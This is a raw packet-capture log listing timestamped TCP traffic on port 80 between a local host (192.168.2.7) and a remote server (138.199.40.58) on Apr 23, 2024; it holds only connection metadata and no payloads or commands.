Apr 23, 2024 08:39:59.113935947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113949060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113960981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113969088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113969088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113974094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113987923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113993883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114022970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114036083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114037991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114037991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114073038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114075899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114075899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114085913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114099026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114134073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114135027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114155054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114204884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114219904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.114228964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114239931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114268064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114351034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.114351034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119395018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119414091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119436026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119448900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119472027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119491100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119517088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119550943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119563103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119577885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119600058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119613886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119633913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119645119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119657040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119688988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119712114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119751930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119765043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119780064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119811058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119822025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119822025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119858027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119870901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.119878054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119906902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119906902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.119976044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120013952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120037079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120086908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120109081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120116949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120141983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120141983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120170116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120177984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120199919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120209932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120229959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120256901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120265007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120277882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120297909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120335102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120347023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120358944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120383024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120418072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120419979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120433092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120456934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120475054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120534897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120548964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120556116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120580912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120594978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120594978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120594978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120609045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120630980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120630980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120632887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120650053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120676994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120696068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120711088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120724916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120733976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120738983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120758057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120774031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120786905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120793104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120811939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120834112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120834112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120836020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120860100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120882988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120897055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120924950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120939016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120959997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.120965958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.120985031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.121000051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.121020079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.121267080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.122891903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.122941971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.122966051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.122997046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123018980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123079062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123100042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123126030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123146057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123162031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123182058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123192072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123218060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123243093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123249054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123256922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123281956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123281956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123302937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123317957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123337984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123353004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123375893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123435020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123435020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123466015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123511076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123521090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123557091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123569965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123616934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123631001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123635054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123650074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123651028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123672009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123696089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123718023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123732090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123753071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123780012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123783112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123826027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123848915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123876095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123888016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123902082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123924017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.123971939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.123994112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.124005079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.124030113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.124058008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.124072075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.124079943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.124092102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.124114990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.124114990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.124311924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.126526117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.126562119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.126585960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.126698971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129141092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129156113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129194021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129206896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129218102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129247904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129266024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129266024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129324913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129332066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129395008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129415989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129429102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129448891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129602909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129626989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129651070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129661083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129740953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129791021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129803896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129813910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129847050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129858017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129858017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129898071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129918098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129925013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129946947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.129962921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.129983902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130009890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130031109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130062103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130069017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130142927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130156994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130165100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130179882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130197048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130197048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130243063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130256891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130263090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130294085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130294085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130322933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130336046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130369902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130384922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.130390882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130431890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.130431890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135020018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135050058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135114908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135114908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135278940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135358095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135370970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135377884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135406017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135411978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135411978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135426044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135443926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135448933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135479927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135500908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135504007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135525942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135541916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135560989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135567904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135590076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135646105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135652065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135715961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135766983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135780096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135802984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135823011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135848045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.135868073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135912895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.135937929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136014938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136059999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136059999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136064053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136089087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136125088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136130095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136182070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136195898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136229992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136229992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136256933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136321068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136339903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136370897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136393070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136408091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136426926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136466980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136471033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136480093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136497974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136511087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136518955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136553049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136573076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136615038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136636972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136696100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136710882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136719942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136734009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136754036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136796951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136821032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136833906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136853933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136878967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136899948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136940956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136946917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136955023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136967897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136979103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.136982918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.136996031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137002945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137032032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137105942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137131929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137177944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137202024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137214899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137234926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137262106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137278080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137288094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137346983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137392998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137406111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137454033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137454033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137464046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137557983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137583971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137592077 CEST	80	49705	138.199.40.58	192.168.2.7
